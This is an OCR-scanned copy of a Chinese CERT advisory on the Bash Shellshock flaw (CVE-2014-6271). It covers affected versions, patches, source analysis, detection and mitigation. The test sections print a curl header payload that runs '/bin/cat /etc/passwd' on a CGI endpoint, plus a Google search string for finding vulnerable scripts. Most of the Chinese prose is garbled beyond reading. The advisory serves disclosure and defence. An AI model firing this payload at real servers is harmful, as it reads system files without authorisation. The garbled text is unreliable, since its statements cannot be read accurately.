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Bash Shellshock
7 (X-CERT)
CVE-2014-6271
Stéohane Chazelas (J%:[E)
Linux/Unix &%t

R

2014 £ 9 J§ 24 H Bash #AAAAAEIZ AU AT IR, 2RI 2 e s N akt
B (BURfEFR: 22k CERT)EE— I (A RS ST, B IR AT L 2 A e 2R
HopAn 2z, TAestntia) 9 7 24 HEJR 51 30 7032 17 A GUXU N G R o

%R CERT &3 iZIRIAHEAT 1 7™k Mo AT 360, B IR IR 2 52md H 5T £ Linux A1
Mac OSX #1E #2474, AEEAR T Redhat. CentOS. Ubuntu. Debian. Fedora. Amazon
Linux. OS X 10.10 %V & . 1% IRiF AT LAd i b it 2458 2 5 (R (R SR T AR ZE 4 T 1 B AR A
AR, YR R3] Bash 22 HIMZ RN, 55 HTTP. OpenSSH. DHCP %%. R4 H fr
()RR SR 5 DA S, CLRIRAE 1) POC 1B 0L, 3 /NI IR K % 2 52 1 o) 8 RSt 16 it 1) 2 4,
FEEAR T MBS M ZEES. o MREIE 0%, Flie Bash |32 o i RIAFTE
Tgd, HEBREREEAER KR, B S TR Y S iEHdT A&7, R 58
EEMERIRE, BilCA 2N RN 2R T &S,

72 1: Bash 3| B 4 gA69 442 % " Bash, Unixshell #9—Fb, 1989 4 % 4 % — /N iE
KA, RAEZFTXAAE GNU R %L, 12461347 T X% 30k Unix R 4oy 2 %2
L, &4 Linux 5 Mac OS X v10.4 4 3¢ 4E 4 2k shell, ¢ 44845 44 ) Microsoft Windows
_E# Cygwin 5 MinGW, & A& MS-DOS 4 A &9 DIGPP 357 B , 7 Novell NetWare 5
Android 47 A, "

20 A BoR R R RTINS B AR, e RAT ST AR 31 A K HLBE M 467k 9% AL K
89 3% K% T Ao B E IR, ARCT i KEARE F X415 8 & Sfe b e 4 09 & € A3
A B e AR B RS, REAF T LS ATE AILA TAE, SR RIOH A, BHk
RHM AR, BATidiRAR % CERT Lo JIR 1T, s R BATH L RIZ, 3T Aavf B AR
Ak, HE LA T E. BAERAFE KRB A Boh L, il — Kk h SRk iR,
B % KA 2 B R4 BAH AR, § A a4k R Kk o & SQL Slammer. BE k.
R EAFFHRB S A B,

OZRLBE BMTH B2l



=

v 53 “Bk” YR (CVE-2014-6271) 528 4 HV1.52]

=. EBHSEHER®EER

RYEE BRR, AR AT ik E GNU/LINUX #f 7t # Stéphane Chazelas, & FLi [d]
N 2014 9 A A, TAkEER A 2014 429 H 24 H.

* 1 WREZH @R

i | I ] B
NVD 2014-09-24 http://web.nvd.nist.gov/view/vuln/search-results?query=CVE-2014-
AR 6271&search_type=all&cves=on
Securityfocus = 2014-09-24 http://www.securityfocus.com/bid/70103
12:00AM
exploit-db 2014-09-25 http://www.exploit-db.com/exploits/34765/
® 2 B EEREXMWFE S ZAEAX
BIERGA A fRPTTR
Red Hat Enterprise 4 (ELS) Red Hat Enterprise Linux 4 Extended Lifecycle Support - bash-
Linux 3.0-27.el4.2
5 Red Hat Enterprise Linux 5 - bash-3.2-33.el5.1
Red Hat Enterprise Linux 5.6 Long Life - bash-3.2-24.el5_6.1
Red Hat Enterprise Linux 5.9 Extended Update Support - bash-
3.2-32.el5_9.2
6 Red Hat Enterprise Linux 6 - bash-4.1.2-15.e16_5.1
Red Hat Enterprise Linux 6.2 Advanced Update Support - bash-
4.1.2-9.el6 2.1
Red Hat Enterprise Linux 6.4 Extended Update Support - bash-
4.1.2-15.el6_4.1
7 Red Hat Enterprise Linux 7 - bash-4.2.45-5.el7_0.2
CentOS 5 bash-3.2-33.el5.1
6 bash-4.1.2-15.el6_5.1
7 bash-4.2.45-5.el7_0.2
Ubuntu 10.04 bash 4.1-2ubuntu3.1
12.04 bash 4.2-2ubuntu2.2
14.04 bash 4.3-7ubuntul.1
Fedora 19 bash-4.2.47-2.fc19
20 bash-4.2.47-4.fc20
21 bash-4.3.22-3.fc21
Debian 4.1-3 4.1-3+deb6ul
4.2+dfsg-0.1 4.2+dfsg-0.1+deb7ul
4.3-9 43-9.1
Amazon Linux AMI bash-4.1.2-15.19
Mac OS X 10.10

i 3: T2 http://ftp.gnu.org/pub/gnu/bash/# 47 T #.
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M. ERIEE

%7K CERT H B 2.5 IE7E Red Hat.  CentOS . Ubuntu . Fedora . AmazonLinux . OS
X 10.10 H¥316 7/ CVE-2014-6271 I (1) Bash it 4, [FIfTHI-T Bash 7E#% T iiE R4
B2 S, IR IR FR s e 90 BB B35 R AN R - K 22 508 A Bash [#) Unix. Linux. Mac OS X,
M AT X e R E BT BRI S Ul . IR BRI 7 A did 5 Bash 22 H.1)
Z RN B, 45 HTTP. OpenSSH. DHCP %%,

%R CERT HuTHhFEIRIE AT ) FiZE 1) Android #:/E REE A LR ENV 4, nldf
IEEX$ Android #1122 4852 B IR TR B2 W0 1 T RETERL N o

h. =ERFEE

AT Bash A FH AP A2 &l s B AR, S BORIR 17852 L) 07T &
A B AR a2 ENV RN R BUR, Bash $AATIFARIRHY, 12 4REL AR AT HF- 34T
shell 4o T HAZ OB SR RIAE T AE S AN L E i s T A BRBIL 5, A it ikl )

EAN T EEHAT TS B A E T IE, *b T 2 7 12 /ouiltins/evalstring.c 1)
parse_and_execute F&ECH AT 7RI command BEAT T AR FAS I, B RS TE N K
AR PEHERR . TEHERR R R ZLR 2T flags (199 AT AT command f— IRZEBYILHEL, N T REfS
flags HIWrHERG, fE4N T T E X T SEVAL_FUNCDEF. SEVAL_ONECMD /MR AE A
FIBARHE o BEIRIREEAT AN T A =4k, EEATH G command 3T REIEAEH

/builtins/common.h

#define SEVAL_FUNCDEF 0x080 /* only allow function definitions */
#define SEVAL_ONECMD 0x100 /* only allow a single command */

/builtins/evalstring.c

if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
{
internal_warning ("%s: ignoring function definition attempt", from_file);
should_jump_to_top_level = 0;
last_result = last_command_exit_value = EX BADUSAGE;
break;

}

/builtins/evalstring.c

if (flags & SEVAL_ONECMD)
break;

NI T PR IR S B R R, e R AR AR JR R A7 AE T Bash 1) ENV i & S2BLE, BRI A
H R AN B S BU A AT . A RIE B FA RS PAT Y H B0, e ATEAE B2 =5 i
FREFFAE A A RENS SEBIL, 5 =05 W 55 R e A0 B0 A AR 22 25 1 4 AT LA 7E 24 U B 4 41
. filln, 22K CERT QIR =J7 IRSFE/T apache2 {8 A 78 ki, H CGI 4 2 iz

OZRLBE BMTH Bal



4
vy 53 K “Bi5e” WiF(CVE-2014-6271)43 K 4 HT[V1.52]

FEVI M FEAF Bash 11 ENV 3T U5 MEEE @A ThRE . BARGMISEEl, 200 i R 2
Kl: CVE-2014-6271 JwilA S L A2 AR AT L EE 1

i Bash -
iHHBas Bash&ﬁ'

BT RS

&
<

» | #ARNAHEATES

A 4

v

*HERpasL | |
&&
EEBEH R
Be#5iE flBash —
BashfifT

&& iHfBash
A i) R
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AE ) I 2
ik BashiifT i
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v
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CVE-2014-627 1ML ERBHRITEERE Bl
PR BEEHER EEHR payload

7~ ImRRIERSE

I R %) Bash AR DL T H PR AR 5 1) 07 05 RR H E R8s, AR H € LI Bash
BREAL I 4 T AOCHERE . — AR BRI AR A 2T, (HI IR B8R0k « {17 463
FHME AT L HATHAT . %K CERT 1% “Bi5e” IWiiBEAT 7 40BN SR, AFEAHIIE, 1T
FEBAIGAE . EARE SR . JAREAIE AR AT 5 CGI Y httpd ARk 55 28 2EAT M. PR 9 249k
1T CGI B2 F Bash ¥ Referer. host. UserAgent. header Z5/E NI AR EHEATACEE . BRIt
Z AR CERT i&#k4T 7 DHCP ZEHHIFH “Ri5e” Jil Bl B4l 5 Boeh T30k .

1. AHIRUETTVE
fE shell AT T A4 -

‘ env x='() { ;;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test" ‘

PATAA )G, WS R Vulnerable CVE-2014-6271, iiFB RSAF4ETRIF, AL echo
Vulnerable CVE-2014-6271 AT & iy 2 AT AT

a. Linux Debian & &GRS EL T -

s echo Vulnerable CVE-201¢ ' bash -c "echo test™

GNU ase | cd-po-linux-gnu)
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b. FEREEZRS (0S X 10.10) JEIAMKIUFMIT

=+ ~ env x="() { :;}; echo Vulnerable CVE-2014-6271' bash -c "echo test"

Vulnerable CVE-2014-6271
test

= ~ bash --version
GMU bash, wversion 3.2.51(1)-release (x86_64-apple-darwinl4)
Copyright (C) 2007 Free Software Foundation, Inc.

2. TWRERUETE
a. BNIGUET % BEUVRE & AT IR PRIGIE .
1) Ubuntu %% ) Bc & apache fIt5% 2=
® 2% apache2 iR %5 7%
#sudo apt-get install apache2
® it & apache2 x5 7%
o & A7 T Jetc/apache2/sites-enabled/000-default
® i vi fT T B A
#sudo vi /etc/apache?2 /sites-enabled/000-default
o BEILHE
DocumentRoot /var/www/html
ScriptAlias /cgi-bin/ /var/www /html/cgi-bin/
2) w5 WEB JR 55 uimill i S
®  ZE ik 55 A S
#sudo vi /var/www/html/cgi-bin/test.sh

#!/bin/bash
echo "Content-type: text/html"

nn

echo

® RJmHH MRS

#sudo /etc/init.d/apache?2 restart

3) B

® ik dr ST

bin/test.sh’ -1

curl -H 'x: () { ;};a="/bin/cat /etc/passwd’;echo $a' 'http://IP Hb 4l /cgi-

2 A AR a="/bin/cat /etc/passwd ;echo Sa AT & v 2 HEATHAT -
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55.0.0.0

rame:0

b. FESIRUET V. BCTVEE G ELIE R BT T AT L A AR

1) DAMSZR S EEBAT A AR I bk R, 1T A google 62 Al
¥i2%: inurl:/cgi-bin/ filetype:sh

2) KRB url BEATHRE AR5 B T i < A2 URL”

curl -H 'x: () { :;};a="/bin/cat Jetc/passwd;echo $a' ' ZF# URL' -1

3)  WFAEIRIF, AE AT R HUBLIGAE A g B, A I W R R VG R S R A
WA ZRGI 2, tnf LT &R AA 7720 (. IP/cgi-bin/update.sh.  1P/cgi-
bin/admin.sh %), HHTIEE 2R, (HIXFP 7 A SR K E I SHIR T CH &R 24 .

t. FERENGE

T AT LIS FH A 1l 5 38 P2 P R S0 iF 7 VA AT AR . 27 B8 snort BN SE 12w S5 ST &
BEM AT MR ERAE RG-SR 34T HTTP KRy, "fRLEAT Referer. host.
UserAgent. header %513k {5 B RF () {800 N7k “\x28\x29\x20\x 7b 4l H A £L48
HH IR AR 43 B

A VEAEJE— 20 AT BUds R SR FIRRAE (R F2 HL .
E A4 BRI T A9 AR M LI A 9 AR, AR A2 P A @TeleMan 15 0BG T &, 5 L8t

I\, [EiRATEERHEFRIRE

1. ImIE AT PASEd ForceCommand 7E sshd FHIEC &, MIHPATEE 4
2. W CGI A Bash 4s5, NI A mod_cgi 5% mod_cgid ] Apache I 55 2% 252

AR
3. DHCP &/ ifi Fil shell JlIASKECE R0, Al GEAEAE VAT R i 2 $AT S
4. %P daemon Al SUID/privileged HIFE/F#E AT BEFAT shell A, @i H P ik B alis
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Wi IASE A RAE, VR AT 21817,

h.  FHULERREN

Lo AN AR R Y8 IE 7 R EAT BAIE € » W e A AR R BT 55 =1 4 i 10
iR T3 SR HEAT AR BT o

2. HFT Bash Jithd, £1XF ENV & SEHLES 7y, BHATIA TR E 5SS HOLIE, 4% e R
HoE Gl AR S Eo .

+. SERGRSIERRIE

WVFRAMRE A RS 7, FOSBRAERAT “0ioe” iARRSE TR, EE kK
A% AL IR WA AN PR, 3R R A M 3R 22 R — A Sel AU 5 5 APT [
BAFIERL o

XA 22K CERT A-4FE N 58 YR A Zma 3, 1 BT — IR /& Heart Bleed (LI HIL) o
MR LR A RPN, RIOER TIRZABMN AT DGR, Bk, il
P eeeeen

TIAE 0o R L™ HY B 1A USRI TB) P, TS B v P8 AL R R O AR, 22 R CERT
(0 AR % 18 25 00 BT SRS 3. 18K APT Moy, Cefl 2 EARAEIE A Zm R, bl
CO R BRATHR, FATRAMEETEL . FATC LA ST & R M BERS hnv i, 3RAT]
IR R INFE R AR 7 B EORTA E . ARATHYRE R, 0 A — AR E SR /N D BGIE L e
WEFRIITR, RIRKIL AR K, ARSI AR LS SR T 22 A TREITOR
Y, REE KL, AT DR R ) BB AT I

REKANIEDS, FABMIKAIED . 2K 155 B 55 NZEAFA7E TG i) McAfee B,
M “Safe Never Sleep” WIAREHTEZ), (HAhUL, B4 NEINPZIREMM Avtar W5 HE
T, BE| McAfee AERIKT Ko KT “BEe” I, AT TAEMKIR BAHEE, (HAXTT “0
BEH I AR EEL, BB IRA O EH AR T . R S IRA T R g R B, AT
28 M RS ek, AR Bk S L &

BEKMELLRAL, RN HR. H 2004 £, DEP. ALSR &4 RRE&:5I A
FRAG G, ETEE S0 R BTG B>, AR AT ok 0day B 4
VE b BB TR o KRURSEE RO R, AN B 2 B SRS A A AABT AL, X
BT AR PR AN, Wk TR RENEE. ST CalE+EN 7 B LT iE
GARTKIHUI AR, FEEHEIL T AR &2 2B HE R IR AT

BEXELTER, ER AR EIFFANISERGHE X . eI O —drb R BN L,
WS B ARSI, #R Witk . HeartBleed JIRTEARFI IR T 3 2 A, 1 “H7”
TN B QA7 AE 1 10 4. EIRNEIRIA, HESFIBHERATIE, LT OB
EHREE, AR AR & BT b2k, bR Lt AR Ts 4, |
HTERAECAHEN 1o T DAAER A, — DIk e R RS 2 2k, HEE 2 O e
(I REIAS

REHPEE, BETMBERSHBINR. OAEHNL" 5 “85” MR EIT
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IRAGE R 2 3 R NATE SR, TR 2 4 RS 4473 o 15 AN P GRAE

Mg “OMEH M # Open SSL, &2 “Bi5¢” ) Bash, REBEMIRZITRE . ik
B ARG W A R BB G I, (BRI A gt R, L i
K, AHRACKSEN T RELS 2] 1IN [ BT FE S 240 o 1232 9 BT S IR E % & R 3
B, BATABEERER, I AR FEL e,

ZAEEUNE, HETERMARZAMGR, M PCHA. Bl 7 fkixs M fE
FIEA, S AP T — B AR AN, Frde& I aina Ee i B0, 1E
ORI RS (HEA I % & A5 5 TR RS 2 Bob B A4t R . MU= A
SENUFEIALL o H L A RS SRR AR 51N BE 2 ISR, AT R TS R A I
ARV E R . TAKTE 2 B D Re b Al A2 X5 Bt s, W2 efEs s
TN A E TN L ] B A e 1

1117 24 B &3 225 R ARG, BAT T PR R4 AN 1T oo 3 58P AR, VRO — Nk 2 4 T A
H WAV ESRBE A O, AZRES 2 ERNELEES, EEAZEIIME B AR KR
WItE . ARG REORIIATE, TATH EANRAE— MR ERPRAEES, I
FRALORR .

fiR— : N84

FEEERT “i7e” IR AR S reh, 22k CERT 3j15 7 KEHISCR S 3 -

® U Lenx wei 55— [EIERUE KIS B0, ibRATT B RIS SN 120 v ;
® it CNCERT/CC [fif 545 s It

® EUPHIRFME M K @TeLeMan, X W28kl 777245 T 148 1E 5

® R MIAIIERIF. 360 S ILFAHE:

® X XCERT S ALERIE. PR, RIZ. K. BMRERISH .

fig— : EFREE

RATH [E] ;%N EHAE

2014 49 H 25 H 10 B V1.0 TR RAS, BTN A 42 T 2 R 2R
V. P& 5. PUEERTT R,
K25 P IS

201449 H 25 H 12450 7 V1.1 TR A A MO BGAIE IR IR A R B S
TR & KRR TT RS
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T BAT B S4r+ IRIRASI 79245
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2014 429 H 28 H 17 W} 46 4> V151 BITREI 73, B, SoEs T .
2014429 [ 29 H 131} 20 4%  V1.52 BTG, BN E P 5 2 4 T A4 HT
Rk, Wt %k,

fIR= : XTF" R FRRAE

AR 4o “rEse” JWHEE N ET SNS KRBT CERT 4H4R X-CERT H—&
ELTHE .

BHE (X-CERT T “Wi52” IWIFMKIUEHE) B3

KIFIR T SCAFRIE 9 H 25 H N4 X-CERT i itfin4 . BT, LT iR
REHT R E 2, N TE T IR A AR, (8T 8RR, X-CERT Kl Nz —Ht kit
+HEH, RONIIRIRER — A S . BT I IR A RHRE RGN shell (52) #HATFIA .
T Bash [ “EFF+miE” 414, X-CERT s m (Rl € $#HT “YPR” a4,
PAFKFEFRHE, AEERE SRS “BiRAE”, @il4k8ibhn. fEihied X-CERT AR M
Bt (R RHT “BEE” M4, X-CERT HAs R miE4esz (GHiEg)T). S| (&
WD, ERE EER). EREA (360). FHi (KEEN) Z5%n—800H. & IEKi%F
T SCARRIfE N “H5E,

fiRM : BRSEREEADIRRRES

[1] #iEfIT:: (Bash 3.0-4.3 iy AT IR 247 )

http://blog.knownsec.com/2014/09/bash 3-0-4-3-command-exec-analysis/

[2] FniEE)F: (BE5elmiH (ShellShock) MiGEARE)

http://blog.knownsec.com/2014/09/shellshock response profile/

fiRA : HittSEHEHE

[1] %X Fl: Bash

http://zh.wikipedia.org/wiki/Bash

[2] Resolution for Bash Code Injection Vulnerability via Specially Crafted Environment Variables
(CVE-2014-6271, CVE-2014-7169) in Red Hat Enterprise Linux

https://access.redhat.com/solutions/1207723

[3] [CentOS] Critical update for bash released today By Jim Perrin jperrin

http://lists.centos.org/pipermail/centos/2014-September/146099.html

[4] CVE-2014-6271 in Ubuntu (Canonical Ltd.)

http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-6271.html

[5] oss-sec mailing list archives
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http://seclists.org/oss-sec/2014/q3/650

[6] Bash specially-crafted environment variables code injection attack

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-
code-injection-attack/

[7] Bash bug as big as Heartbleed By Robert Graham

http://blog.erratasec.com/2014/09/bash-bug-as-big-as-heartbleed.html#.VCNYnF7WqgVI

[8] CVE-2014-6271 (Debian)

https://security-tracker.debian.org/tracker/CVE-2014-6271
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A B SRR TR K B APT il k7 % .
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